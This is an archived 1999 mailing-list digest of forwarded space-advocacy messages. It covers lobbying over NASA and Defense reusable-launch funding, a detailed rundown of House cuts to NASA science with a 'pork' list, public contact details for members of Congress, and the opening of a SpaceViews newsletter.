http://www.flatoday.com/space/today/ http://www.reston.com/nasa/watch.html http://www.space.com/ The full committee, ""mark up"" of the NASA funding bill Friday. This is the time to call & Fax your Congressman! Check the House Web page for contact info. http://www.house.gov/appropriations/members.htm Henry will be sending out the next Update soon. ...Don Doughty, List Manager PS. This List had three sources when it started. Now, only SAS provides info to this list. See the MSG at the End of Update #88. -- Space Access Update #88 7/24/99 Copyright 1999 by Space Access Society __________________________________________________________________ Stories This Issue: - Latest on Congressional NASA, DOD RLV Funding - Rotary Rocket Flies ATV, Does Second Round of Layoffs - Miscellany - USA Sponsored Shuttle Forever Symposium, New US Defense Space Policy, SAS Needs Money! ________________________________________________________________________ Latest on Congressional NASA, DOD RLV Funding Our current alert (see www.space-access.org/updates/alt0799b.html) asks you to contact any members of the House or Senate Appropriations committees local to you, and ask them to A: add $50 million to NASA Future-X for reusable rocket low-cost flight ops demonstrations, and B: as a matter of priorities, do NOT fund startup of the premature and oversold ""Spaceliner 100"" airbreathing launcher project. The Senate NASA appropriators (the HUD, VA, and Independent Agencies subcommittee, then the full Appropriations committee) were scheduled to ""mark up"" their NASA funding bill last week, but they once again postponed. Keep after them, but save the phone charges and use paper mail - all they'll say about when they will actually do markup is ""before the August recess"", which starts August 6th. That narrows things down to either this coming week, or the week after, and we'd guess at the current pace the week after (starting Monday August 2nd) is more likely. So if you haven't yet gotten around to contacting them, or if you did but via voice phone, get their DC office address from www.vote-smart.org, buy a stamp, and send them a letter first thing this week - it'll likely get there in time. The House HUD/VA appropriations bill, as of last Thursday, was still scheduled for subcommittee markup this Monday July 26th, late in the day. So if your Congressman is on Appropriations and you haven't yet contacted him or her, phone or fax Monday! See the alert at www.space-access.org for details on how. Over in the Defense Department budget, we're pushing for funding for the X-40B ""Space Maneuver Vehicle"" (SMV), a spacegoing version of the USAF Phillips Lab X-40A landing-only reusable upper stage demonstrator flown successfully last winter. X-40B will demonstrate a variety of reusable space-launch, on-orbit, and reentry operations we and the USAF think very useful, operations complementary to what NASA plans to do with the related X-37. We and various like-minded folk have been working this one for a while - the Senate Defense Appropriation was passed weeks ago with $25 million for this project. Last week the House marked up and passed its version of the DOD funding bill with surprising speed - with nothing for SMV in it, oops. We've been given to understand that there is support for USAF SMV among the House Appropriators, and that it is possible they'll accede to the Senate position of $25 million funding when it comes time for the two to hammer out their differences in conference. We don't know when the Defense Appropriations conference will happen, though we suspect (for arcane tactical reasons) it may take place untraditionally early, within the next two weeks. As soon as we know the timing for sure, we're going to be asking your help pushing hard for full funding for X-40B. ________________________________________________________________________ Rotary Rocket Flies ATV, Does Second Round of Layoffs Rotary Rocket Company at about 8:30 am PDT on Friday July 23rd flew their Roton ATV for the first time, doing multiple rotor-borne liftoffs, low-altitude hovers, and landings over the course of several minutes. The ATV is Rotary's ""Aerial Test Vehicle"", intended to demonstrate structures, systems, and the rotor-borne landing mode for the company's planned Roton reusable launch vehicle. This initial flight took place several months behind the original (very aggressive) schedule - late, but not in our view unusually so, given the leanness of the budget (Rotary built and flew the ATV on $30 million total funding that we know of) and the universality of Murphy's Law - development projects *always* take a little longer than the engineers expect. Unfortunately, Rotary seems to have run low on shoestring - their ATV flight coincided with the effective date of their second round of layoffs. We have not been able to get a definitive answer on the scope of the latest round of layoffs (we observe that even for companies in trouble, not being straight with the press is counterproductive) but it seems likely based on what we have been able to dig out that absent an immediate infusion of cash, Rotary is at best in mothballs and at worst is history. ________________________________________________________________________ Miscellany - United Space Alliance (USA), the Boeing/Lockheed-Martin Shuttle operating consortium, is sponsoring the Space Shuttle Development Conference at NASA Ames, Moffet Field CA (actual site seems to be the Westin Santa Clara) with an all-star cast, Wednesday July 28th through Friday July 30th, 1999. The general theme of the conference seems to be the prospects for continuing Shuttle operations for decades to come. Information at www.futureshuttle.com; media registration contact is Jack King at 407 861-4358. - The US Department of Defense has adopted its first major new space policy in a while - one key point being that we will treat space a lot more like we treat the sea and international airspace, as a medium where we support freedom of navigation and we will defend US assets, another point being that we will be pushing toward more flexible lower-cost space operations, both unmanned and potentially (if the cost comes down enough) manned. - And finally for this Update, Rotary Rocket isn't the only outfit on a too-short shoestring. Information warfare in support of radically cheaper space transportation costs a whole lot less than actually developing hardware, but it still costs. If you like what we're doing and you want to see more, money is the sincerest form of flattery. An SAS membership is $30, and gets you a discount on our annual conference (Space Access '00, April 27-29, 2000, in Phoenix Arizona) plus direct email subscription to our Updates and Alerts. Yes, we give away our Updates and Alerts promiscuously - Job #1 is to get across our point of view. No, we don't incessantly nag SAS members to renew or donors to give more - we're old-fashioned enough to think that's rude. No, donations to SAS are not tax-deductible - we do far too much lobbying to qualify for 501c3 tax-deductible status without lying like rugs, and regardless of how common this may be we won't do it. And no, we won't take donations from government contractors that might be affected by our positions; that way lies self-censoring impotence as the next big corporate check gets ever more important. We've seen that, we won't do it. Given the above self-imposed restrictions, it's a tribute to our supporters that we're still here and fighting after seven years. We've seen checks for five bucks, we've seen a blessed few for a thousand. Money translates very directly to time and energy - we thank you every one for all you've given over the years. It's settling into a long grinding struggle, alas. Please, help us stick with it. Send your checks to SAS, 4855 E Warner Rd #24-150, Phoenix AZ 85044. ________________________________________________________________________ Space Access Society's sole purpose is to promote radical reductions in the cost of reaching space. You may redistribute this Update in any medium you choose, as long as you do it unedited in its entirety. ________________________________________________________________________ Space Access Society http://www.space-access.org space.access@space-access.org ""Reach low orbit and you're halfway to anywhere in the Solar System"" - Robert A. Heinlein >From VM Sat Jul 31 16:35:45 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""26327"" ""Saturday"" ""31"" ""July"" ""1999"" ""12:43:30"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""765"" ""starship-design: FW: SSRT: Space Science Political Alert no. 2 (fwd)"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 26327 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id PAA01511 for starship-design-outgoing; Sat, 31 Jul 1999 15:48:24 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id PAA01476 for ; Sat, 31 Jul 1999 15:48:19 -0700 (PDT) Received: from broadsword (p287.gnt.com [204.49.91.47]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id RAA26530 for ; Sat, 31 Jul 1999 17:34:31 -0500 Message-ID: <000101bedba4$c8349000$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" Status: O X-Status: From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: FW: SSRT: Space Science Political Alert no. 2 (fwd) Date: Sat, 31 Jul 1999 12:43:30 -0500 -----Original Message----- From: listserv@ds.cc.utexas.edu [mailto:listserv@ds.cc.utexas.edu]On Behalf Of Chris W. Johnson Sent: Thursday, July 29, 1999 7:17 PM To: Single Stage Rocket Technology News Subject: SSRT: Space Science Political Alert no. 2 (fwd) Date: Thu, 29 Jul 1999 19:57:43 -0400 (EDT) From: Donald L Doughty To: DC-X Subject: Space Science Political Alert #2 Sender: delta-clipper-approval@world.std.com Reply-To: delta-clipper@world.std.com Act before Friday 9:30AM ED Details of House NASA Science Budget cuts. ...DLD -- Space Science Political Alert #2. Thursday 29 July 1999. >From: Tim Kyger One more long message.sorry! Cross-posting of the data contained in this message is strongly encouraged. Post it where ever you wish, and in as many places as you can. Please! You may get multiple copies of this. Once again...sorry! I'm working as fast as I can... The Prospect Before Us. The shoe has finally dropped. On Monday 26 July, at the House of Representatives' Committee on Appropriations' Subcommittee on VA, HUD, and Independent Agencies met and marked their FY '00 VA/HUD bill. NASA's budget was, as predicted, eviscerated; its science programs were cut by roughly a billion dollars, with an overall cut of $1.325 billion dollars. A detailed rundown of these budget cuts, along with specifics as to what programs would die as a result, follows later in this Alert. There's also a Pork Report; the VA/HUD Appropriators made lots of cuts, but you may be sure that they took good care of themselves and their districts..! But first.the full House Appropriations Committee will meet at 9:30 am on Friday, 30 July, to adopt and markup a FY '00 VA/HUD appropriations bill. This means that all of us have today - Thursday - to call, write, and/or fax appropriate Members of House Appropriations. Start with the Chairman of the full Committee -- C.W. Bill Young (R-FL10) 202/225-5961 vox 202/225-9764 fax 813/893-3191 district office 2407 Rayburn House Office Building Washington DC 20515 Remember that letters have much more clout than a phone call, and email has the least clout of all. It is strongly suggested that a letter be written and then faxed to Mr. Young's office. A draft letter that may be used to model your letters is also attached, and further supporting material may also be found later in this Alert. Follow up your letter to Mr. Young with a letter to Mr. Obey, the Ranking Democrat on the full Committee -- David R. Obey (D-WI7) 202/225-3365 vox 202/225-3240 fax 715/842-5606 district office 2314 Rayburn House Office Building After you finish with Mssrs. Young and Obey, fax a letter (if you haven't already) to Mssrs. Walsh and Mollohan James Walsh (R-NY25) VA/HUD Subcommittee Chair 202/225-3701 vox 202/225-4-42 fax 315/423-5657 district office 2351 RHOB rep.james.walsh@mail.house.gov email address www.house.gov/walsh/ web site Alan B. Mollohan (D-WV1) VA/HUD Subcommittee RMM 202/225-4172 vox 202/225-7564 fax 304/232-5390 district office 2346 RHOB Make your anger at these disastrous cuts known to your representatives! Remember that these cuts won't be sustained until and unless the President signs a VA/HUD appropriations bill into law that actually has such a cut - and that is a long fight away from happening yet. We can still win this. Once you're done with the four gentlemen just noted, if you can, fax a letter to each and every Member of the House Appropriations Committee who isn't on the VA/HUD Subcommittee. They may be the swing votes needed to reverse these cuts in full Committee. A list of names and fax numbers may be found at the end of this Alert. Timing. As noted, the full House Appropriations Committee meets tomorrow; and sometime next week the full House will vote on the VA/HUD appropriation. This means that we have a chance to amend this bill on the House floor to turn back these cuts. Stay tuned; this will be the core of Alert Number Three... In the meantime, the Senate VA/HUD Appropriations Subcommittee might mark at any time from this moment on. It may mark this next week, for example. But it also may wait to mark until after the August Congressional ""work period."" This is the most probable way that events will run, giving us four or so weeks to work our will upon the Members of the Senate. So keep your fax machines fired up. Keep ready to write and fax a mess of letters to Senators. Let's Not Forget The Vice President. To recap, Vice President Al Gore is running for President. Here's what Gore had to say on 20 July 1999 at the National Air and Space Museum upon awarding the Apollo 11 crew the Langley Medal: ""I am deeply committed to an aggressive, forward-looking space program, a space program that dares to push the limits of the heavens."" Let's hold him to his statement. He can start by working to turn these cuts around. Vice President Gore can best be reached at the following address: Vice President Albert Gore, Jr. Room S-212 United States Capitol Washington DC 20510 Fax your letters to: 202/224-0291. Al Gore's email address is: vice.president@whitehouse.gov His web site is: www.whitehouse.gov/WH/EOP/OVP/html/GORE_home.html The fax number at the Old Executive Office Building for Gore is: 202/456-2685. Fax him a letter right after you fax letters to the House Appropriations critters. Into The Ovens. The $2.5 billion Space Station budget got cut by $150 million - a pro forma cut so Appropriators could say that they hadn't not cut Space Station. Ditto Space Shuttle, which suffered a $100 million cut to a $2.5474 billion budget request. The VA/HUD folks also noted that they'd be just overjoyed, as this process goes forward this year, to entertain funding requests for additional Shuttle system upgrades. Reusable Flyback Booster program, funded by space science cuts, anyone? The ""Science, Aeronautics and Technology"" or ""SAT"" combined budget line for FY '00 of a requested $5.4247 billion was cut by $849 million; but this cut was entirely made against NASA's science programs, instead of against the entire five and a half billion SAT budget. NASA's FY '00 space science line item request was for $2.1966, and that line suffered a cut of $640.8 million. Killed outright was the SIRTIF mission (a cut of $100.8 million) as well as the CONTOUR Discovery Program mission (a cut of $50 million). Here's where you have to dig and where the Appropriators don't want anybody to know exactly what they've killed. A cut of $60 million was made to ""Explorer Future Planning,"" which had bee requested to be $107.7 million (and which was $78.6 million in '99). This seemingly innocuous cut results in the cancellation of the HESSI and GALEX ""SMEX"" missions, as well s the CHIPS and IMEX ""UNIX"" Explorer missions. And don't forget to erase the TWINS and PLEXAS missions; they're gone now, too. In other words, the Explorer program is over, after a forty two year run. A cut of $60 million was made to ""Discovery Program Future Planning."" This had been requested to be funded at $78.5 million (it was $19.7 million in ' 99). This results in the stillborn death of the Deep Impact mission as well as the MESSENGER Mercury orbiter. A cut of $75 million (to $114.8 million) was made to ""Mars Surveyor Program Future Planning."" Stillborn again, then, is *every* mission after Mars '01. And if I were the Mars '01 folks, I wouldn't get comfortable just yet either. The ""Supporting Research and Technology Program"" was requested to be funded at $1.1521 billion; $320 million is cut -- $200 million from the ""Technology Program,"" and $120 million from ""Research."" The Research cut is a simple one to explain - there just simply won't be any money to make sense out of any data by ongoing space missions. The $200 million Technology Program cut is less obvious, but it results in deep, grave damage nonetheless. What dies as a result of this cut is the Space Interferometry Mission; the Next Generation Space Telescope; The Planet Finder mission; any future missions to Europa; the proposed Pluto flyby; STEREO, Solar-B, CONSTELLATION-X, GLAST, FIRST, Solar Probe, and last, but not least, Space Technology-3. (ST-4, as you'll recall, was recently cancelled by NASA. Reminds you of the good old days, though, doesn't it?) But wait! There's more! We move on to the cuts in NASA's earth science enterprise. NASA's FY '00 earth science program budget request was $1.4591 billion, and it was cut by a total of $285 million. Al Gore's GLOBE program, $5 million, as well as Triana, $35 million, are gone. LightSAR, $20 million, is canceled, too. An additional $45 million was then cut from the Earth Probes program, taking it from a requested level of $138.2 million to $38.2 million (Triana and LightSAR were Earth Probes). But at least the Earth Probes budget has some bucks left; the VA/HUD appropriators eliminated outright the Earth System Science Pathfinders program (a cut of $75.2 million), which kills the GRACE and PICASSO missions, as well as the Vegetation Canopy Lidar mission and the CloudSat mission. Gone, too, is Volcam. The Earth Observing System line is reduced by $150 million from its requested level of $663.2 million, with $60 million being taken from the ""Technology Infusion"" program, which for FY '00 was requested to be $77.6. This kills Earth Observer-2, the ""SPARCLE"" mission outright. $40 million is cut from algorithm development ($127.4 million in FY '00), and, finally, the $53.9 ""EOS Follow-On"" effort is cut by $50 million. As the parting shot, the EOSDIS budget request of $231.5 million is cut $50 million. The House VA/HUD appropriators also made cuts to the ""Mission Support"" line item, which had been requested to be $2.4949 billion, cutting it by $225.6 million. The first cut is in ""Construction of Facilities,"" where $67.1 million is cut from a $181 million budget request. Next, $100 million is cut from the $1.6469 billion ""personal and related costs"" account - layoffs and firings! Finally, ""operations support"" funding is reduced by $50 million from a budget request of $482.6 million. But after cuts come...adds! Pork Report. Here's a list of all of the ""adds"" made by the VA/HUD appropriators in order to make their bill fit under the balanced budget caps. Makes you proud to know that these folks are able to make those hard decisions to cut in order to balance the budget, eh? These adds.er.add up to a total of $119.8 million (!)..more than twice the cost of the canceled CONTOUR mission (to pick just one example)! 1. An increase of $10,000,000 for Space Solar Power. (Well, I like that one actually.) 2. An increase of $2,000,000 for the Science Center at Glendale Community College. (In Jerry Lewis' [R-CA40] district.) 3. An increase of $1,500,000 for the Louisville Science Center. (Anne Northup's [R-KY3] district.) 4. An increase of $1,500,000 for the Science Center Initiative at Ohio Wesleyan University. (Budget Committee Chair and deficit hawk John Kasich's [R-OH12] district. 5. An increase of $5,000,000 for the Polymer Energy Rechargeable System. (Huh?) 6. An increase of $2,000,000 for the center on life in extreme thermal environments at Montana State University in Bozeman. (Senator Conrad Burns is on the Senate Appropriations Committee.and even from across the Capitol, his arms reach out.) 7. An increase of $3,000,000 for the Adler Planetarium in Chicago, Illinois. (John Edward Porter's [R-IL10] district - but also close to House Speaker Denny Hastert's [R-IL14] home base too.) 8. NASA is directed to provide a total of $20,000,000 for fundamental physics research. (Isn't this the job of Fermilab? Hey. Wait a second. Isn't Fermilab in Speaker Hastert's district..? Hmmmm.) 9. An increase of $1,000,000 for the ""Garden Machine"" program at Texas Tech University. (Larry Combest's [R-TX19] district.) 10. An increase of $4,000,000 for the Space Radiation program at Loma Linda University Hospital. (Jerry Lewis' [R-CA40] district again. Love that bacon!) 11. An increase of $2,000,000 for the Neutron Therapy facility at Fermilab. (Shouldn't this be in the DoE budget? Or perhaps the NIH budget? Speaker Denney Hastert's district again. Sooo-eeee!) 12. An increase of $2,000,000 for a Remote Sensing Center for Geoinformatics at the University of Mississippi. (Roger Wicker's [R-MS1] district.) 13. An increase of $1,000,000 for the Advanced Tropical Remote Sensing Center of the National Center for Tropical Remote Sensing Applications and Resources at the Rosenstiel School of Marine and Atmospheric Science. (Ileana Ros-Lehtinen's [R-FL18] district.) 14. An increase of $10,000,000 for the Regional Application Center in Cayuga County, New York. (John McHugh's [R-NY24] district.) 15. An increase of $2,500,000 for a joint U.S./Italian space-based research initiative for the study and detection of forest fires. 16. An increase of $3,000,000 for continuation of programs at the American Museum of Natural History. (Finally! Democratic Pork! Jerrold Nadler's [D-NY8] New York City district. Getting things ready for Hillary.) 17. An increase of $1,500,000 for a remote sensing center at the Fulton-Montgomery Community College in New York. The center is to work through the Regional Application Center at Cayuga County, New York. (John McHugh's [R-NY24] district.) 18. An increase of $25,000,000 for Ultra Efficient Engine Technology. (Keeps the folks in the Ohio congressional delegation happy.this work goes to the NASA Lewis.er.Glenn.research center.) 19. An increase of $1,800,000 for phase two of the synthetic vision information system being tested at the Dallas-Ft. Worth Airport. (Something for Eddie Bernice Johnson's [D-TX30] district.) 20. An increase of $1,200,000 for continued support of the Dynamic Runway Occupancy Measurement System demonstration at the Seattle-Tacoma Airport. (Adam Smith [D-WA9]. Good to see that the Democrats are getting theirs along with all that Republican pork.) 21. An increase of $2,000,000 to facilitate the acquisition of a 16 beam SOCRATES system and integration of SOCRATES into the AVOSS program. 22. An increase of $5,000,000 for the Trailblazer program at the Glenn Research Center. (Keeps the Porklifter 100 program alive.) 23. An increase of $500,000 for the Institute for Software Research to continue its collaborative effort with NASA-Dryden, focusing on adaptive flight control research and fault tolerant systems. 24. An increase of $1,500,000 for the Software Optimization and Reuse Technology Program. 25. An increase of $2,000,000 for the establishment of the NASA-Illinois Technology Commercialization Center as an extension of the Midwest Regional Technology Transfer Center, to be located at the DuPage County Research Park. (Thomas Ewing [R-IL15].) 26. An increase of $1,000,000 for the Florida Technological Research and Development Authority to develop a technology-oriented business incubator in Homestead, Florida. (Carrie Meek [D-FL17].) 27. An increase of $2,000,000 for the Earth Alert program for a test of the system throughout the State of Maryland. (A sop to Senator Barbara Mikulski.think she won't still be upset after those cuts to Goddard?) 28. An increase of $1,500,000 for the National Technology Transfer Center, to bring total funding for the center up to $7,200,00. (This program is located in Wheeling, West Virginia.Senator Byrd brings home the bacon, even when it's the House marking up..!) 29. An increase of $6,500,000 for the National Space Grant College and Fellowship program, bringing the total funding for this program to $19,1 million. The FY '99 appropriated level for this program was also $19.1 million. 30. An increase of $1,500,000 for the Franklin Institute in Philadelphia for development of an exhibit on astronomy. 31. An increase of $1,000,000 for the Sci-Quest, the North Alabama Science Center. 32. An increase of $2,300,000 for the JASON Foundation's JASON XI expedition, ""Going to Extremes."" 33. An increase of $1,000,000 for the Carl Sagan Discovery Center at the Children's Hospital at Montefiore Medical Center. Jerrold Nadler's district again.and again, I'm sure that Hillary will be a happy camper over this. (Shouldn't this be in the NIH budget?) Sagan must be spinning in his grave. 34. An increase of $4,000,000 for the Texas Learning and Computational Center at the University of Houston. Tom DeLay's [R-TX22] district; a well known enemy of.pork! 35. An increase of $5,000,000 for the Space Science Museum and Educational Program at Downey, California. Stephen Horn's [R-CA38] district. 36. An increase of $2,000,000 for the Ohio View Project. Keep the Ohio delegation happy! 37. An increase of $2,000,000 for continued academic and infrastructure needs related to the computer sciences, mathematics and physics building at the University of Redlands. Jerry Lewis's [R-CA40] again. Last year he was the Chairman of the VA/HUD subcommittee. 38. An increase of $1,000,000 for the NASA Minority University Research Program to provide support for the establishment of a center of excellence in Mathematics and Science at Texas College. (Pete Sessions' [R-TX5] district.) The Big Picture On The VA/HUD Bill. The VA/HUD appropriations bill funds 21 agencies. The bill as written by the House VA/HUD Appropriations Subcommittee totals $93.79 billion, of which $23.334 billion was mandatory spending and $70.456 was ""discretionary."" The Administration's FY '00 budget request for this discretionary spending totaled $72.06 billion, and included $2.48 billion in ""emergency spending"" (bucks not subject to the budget caps) for FEMA. The House bill includes these emergency FEMA dollars, and it also includes $3 million in emergency spending for veteran's health care. The House VA/HUD appropriators added $1 billion to veteran's medical health care of ""normal"" money, too, for a total of $18.3 billion. The President had asked for $17.3 billion, which was exactly the same amount that had been appropriated in FY '99. HUD got $2 billion more than in FY '99, but $2 billion less than the President's FY '00 budget request: $26.1 billion. EPA received $7.3 billion from the House VA/HUD critters, $106 million more than the President asked for. NSF got a mark of $3.646 billion for FY '00, $25 million less than it received in FY '99. FEMA got $3.36 billion for its FY '00 mark. The remaining 14 agencies in the bill total up close to $2.3 billion combined. Model Letter to Use. Dear [Fill in name of Representative or Senator]: As a citizen vitally interested in my country's exploration of the solar system, and in its pursuit of space science, I am extremely distressed over Congress' intention to cut NASA's FY '00 science budget by $1.3 billion dollars - the largest single cut in NASA's history! NASA has sustained budget cuts for eight years in a row. This proposed $1.3 billion cut would end science at NASA after the year 2000. Is this the way to welcome the 21st Century? I urge you to totally reject this unprecedented cut and to fund NASA's requested FY '00 budget in full. Sincerely, NAME ADDRESS House Appropriations Committee Members Who Are NOT on VA/HUD. (Addresses are ""xxx CHOB"" or ""xxx RHOB"" or ""xxx LHOB"" followed by ""Washington DC 20515."") (""RMM"" is ""Ranking Minority Member."") Ralph Regula (R-OH16) 202/225-3876 vox 202/225-3059 fax 330/489-4414 district office 2309 RHOB www.house.gov/regula/ web site Jerry Lewis (R-CA40) 202/225-5861 vox 202/225-6498 fax 2112 RHOB www.house.gov/jerrylewis/ web site John Edward Porter (R-IL10) 202/225-4835 vox 202/225-0157 fax 847/662-0101 district office 2373 RHOB www.house.gov/porter/ web site Harold Rogers (R-KY5) 202/225-4601 vox 202/225-0940 fax 606/679-8346 district office 2470 RHOB www.house.gov/rogers/ web site Joe Skeen (R-NM2) 202/225-2365 vox 202/225-9599 fax 505/527-1771 district office 2302 RHOB www.house.gov/skeen/ web site Frank R. Wolf (R-VA10) 202/225-5136 vox 202/225-0437 fax 703/709-5800 district office 241 CHOB www.house.gov/wolf/ web site Jim Kolbe (R-AZ5) 202/225-2542 vox 202/225-0378 fax 520/881-3588 district office 2266 RHOB jim.kolbe@mail.house.gov email address www.house.gov/kolbe/ web site Ron Packard (R-CA48) 202/225-3906 vox 202/225-0134 fax 949/496-2343 district office 2372 RHOB rep.packard@mail.house.gov email address www.house.gov/packard/ web site Sonny Callahan (R-AL1) 202/225-4931 vox 202/225-0562 fax 334/690-2811 district office 2466 RHOB sonny.callahan@mail.house.gov email address www.house.gov/callahan/ web site Charles H. Taylor (R-NC11) 202/225-6401 vox 202/226-6405 fax 704/251-1988 district office 231 CHOB RepCharles.Taylor@mail.house.gov email address www.house.gov/charlestaylor web site Ernest J. Istook, Jr. (R-OK5) 202/225-2132 vox 202/226-1463 fax 405/942-3636 district office 2402 RHOB istook@mail.house.gov email address www.house.gov/istook/ web site Henry Bonilla (R-TX23) 202/225-4511 vox 202/225-2237 fax 210/697-9055 district office 1427 LHOB www.house.gov/bonilla web site Dan Miller (R-FL13) 202/225-5015 vox 202/226-0828 fax 941/951-6643 district office 102 CHOB miller13@mail.house.gov email address www.house.gov/danmiller/ web site Jay Dickey (R-AR4) 202/225-3772 vox 202/225-1314 fax 501/623-5800 district office 2453 RHOB talk2jay@mail.house.gov email address www.house.gov/dickey/ web site Jack Kingston (R-GA1) 202/225-5831 vox 202/226-2269 fax 912/352-0101 district office 1034 LHOB www.house.gov/kingston/ web site Michael P. Forbes (D-NY1) 202/225-3826 vox 202/225-3143 fax 516/345-9000 district office 125 CHOB mike.forbes@mail.house.gov email address www.house.gov/forbes/ web site George R. Nethercutt, Jr. (R-WA5) 202/225-2006 vox 202/225-3392 fax 509/353-2374 district office 1527 LHOB george.nethercutt-pub@mail.house.gov email address www.house.gov/nethercutt/ web site Randy ""Duke"" Cunningham (R-CA51) 202/225-5452 vox 202/225-2558 fax 760/737-8438 district office 2238 RHOB www.house.gov/cunningham/ web site Todd Tiahrt (R-KS4) 202/225-6216 vox 202/225-3489 fax 316/262-8992 district office 428 CHOB tiahrt@mail.house.gov email address www.house.gove/tiahrt/ web site Zach Wamp (R-TN3) 202/225-3271 vox 202/225-3494 fax 423/894-7400 district office 423 CHOB www.house.gov/wamp/ web site Tom Latham (R-IA5) 202/225-5476 vox 202/225-3301 fax 712/277-2114 district office 324 CHOB latham.ia05@mail.house.gov email address www.house.gov/latham/ web site Robert Aderholt (R-AL4) 202/225-4876 vox 202/225-5587 fax 205/221-2310 district office 1007 LHOB www.house.gov/aderholt/ web site Jo Ann Emerson (R-MO8) 202/225-4404 vox 202/226-0326 fax 573/335-0101 district office 132 CHOB joann.emerson@mail.house.gov email address www.house.gov/emerson/ web site Kay Granger (R-TX12) 202/225-5071 vox 202/225-5683 fax 817/338-0909 district office 435 CHOB texax.granger@mail.house.gov email address www.house.gov/granger/ web site John E. Peterson (R-PA5) 202/225-5121 vox 202/225-5796 fax 814/827-3985 district office 307 CHOB john.peterson@mail.house.gov email address www.house.gov/johnpeterson/ web site John P. Murtha (D-PA12) 202/225-2065 vox 202/225-5709 fax 814/535-2642 district office 2423 RHOB murtha@mail.house.gov email address www.house.gov/murtha/ web site Norman D. Dicks (D-WA6) 202/225-5916 vox 202/226-1176 fax 253/593-6536 district office 2467 RHOB Martin Olav Sabo (D-MN5) 202/225-4755 vox 202/225-4886 fax 612/664-8000 district office 2336 RHOB martin.sabao@mail.house.gov email address www.house.gov/sabo/ web site Julian C. Dixon (D-CA32) 202/225-7084 vox 202/225-4091 fax 323/678-5424 district office 2252 RHOB Steny H. Hoyer (D-MD5) 202/225-4131 vox 202/225-4300 fax 301/474-0119 district office 1705 LHOB www.house.gov/hoyer/ web site Nancy Pelosi (D-CA) 202/225-4965 vox 202/225-8259 fax 415/556-4862 district office 2457 RHOB sf.nancy@mail.house.gov email address www.house.gov/pelosi/ web site Peter J. Visclosky (D-IN1) 202/225-2461 vox 202/225-2493 fax 219/884-1177 district office 2313 RHOB www.house.gov/visclosky/ web site Nita M. Lowey (D-NY18) 202/225-6506 vox 202/225-0546 fax 914/428-1707 district office 2421 RHOB nita.lowey@mail.house.gov email address www.house.gov/lowey/ web site Jose E. Serrano (D-NY16) 202/225-4361 vox 202/225-6001 fax 718/538-5400 district office 2342 RHOB jserrano@mail.house.gov email address www.house.gov/serrano/ web site Rosa L. DeLauro (D-CT3) 202/225-3661 vox 202/225-4890 fax 203/562-3718 district office 436 CHOB www.house.gov/delauro web site James P. Moran (D-VA8) 202/225-4376 vox 202/225-0017 fax 703/971-4700 district office 2239 RHOB jim.moran@mail.house.gov email address www.house.gov/moran/ web site John W. Olver (D-MA1) 202/225-5335 vox 202/226-1224 fax 413/442-0946 district office 1027 LHOB john.olver@mail.house.gov email address www.house.gov/olver/ web site Ed Pastor (D-AZ2) 202/225-4065 vox 202/225-1655 fax 520/726-2234 district office 2465 RHOB ed.pastor@mail.house.gov email address www.house.gov/pastor/ web site Chet Edwards (D-TX11) 202/225-6105 vox 202/225-0350 fax 254/752-9600 district office 2459 RHOB www.house.gov/edwards/ web site James E. Clyburn (D-SC6) 202/225-3315 vox 202/225-2313 fax 843/965-5578 district office 319 CHOB jclyburn@mail.house.gov email address www.house.gov/clyburn/ web site Maurice D. Hinchey (D-NY26) 202/225-6335 vox 202/226-0774 fax 607/273-1388 district office 2431 RHOB mhinchey@mail.house.gov email address www.house.gov/hinchey/ web site Lucille Roybal-Allard (D-CA33) 202/225-1766 vox 202/226-0350 fax 213/628-9230 district office 2435 RHOB www.house.gov/roybal-allard/ web site Sam Farr (D-CA17) 202/225-2861 vox 202/225-6791 fax 408/429-1976 district office 1221 LHOB samfarr@mail.house.gov email address www.house.gov/farr/ web site Jesse L. Jackson, Jr. (D-IL2) 202/225-0773 vox 202/225-0899 fax 708/798-6000 district office 313 CHOB www.jessejacksonjr.org web site Carolyn C. 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Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: FW: SpaceViews -- 1999 August 1 Date: Tue, 3 Aug 1999 13:46:13 -0500 -----Original Message----- From: owner-spaceviews@wayback.com [mailto:owner-spaceviews@wayback.com]On Behalf Of jeff@spaceviews.com Sent: Sunday, August 01, 1999 3:22 PM Subject: SpaceViews -- 1999 August 1 [ SpaceViews (tm) newsletter ] [ see end of message for our NEW address to subscribe / unsubscribe ] S P A C E V I E W S Issue 1999.08.01 1999 August 1 http://www.spaceviews.com/1999/08/ *** News *** House Slashes NASA Budget Shuttle Deploys Chandra Telescope Loose Plug Caused Shuttle Hydrogen Leak Lunar Prospector Ends Mission with Crash Deep Space 1 Completes Asteroid Flyby Mir Cosmonauts Make Final Spacewalks Turbopump Failure Cause of Proton Crash Roton Prototype Makes First Flight Test ""Richter Scale"" of Asteroid Impact Threats Announced SpaceViews Event Horizon Other News *** Articles *** Getting Oriented in Weightlessness: Results of a Space Shuttle Experiment *** CyberSpace *** CyberSpace Web Reviews Editors Note: If you use Netscape Netcenter's ""My Netscape"" start page, you can now incorporate SpaceViews headlines into your start page along with other news, sports, weather, and other information! To add a SpaceViews box to your page, use the URL: http://my.netscape.com/addchannel.tmpl?service=net.900 For more information about the My Netscape service, check out http://home.netscape.com. As always, for the latest SpaceViews news, visit http://www.spaceviews.com. - Jeff Foust Editor, SpaceViews jeff@spaceviews.com *** News *** House Slashes NASA Budget NASA is facing some of its worst budget cuts in its history after an appropriations subcommittee of the House of Representatives voted Monday, July 26, to cut more than $1.3 billion, or nearly 10 percent, from the agency's proposed fiscal year 2000 budget. Although the full 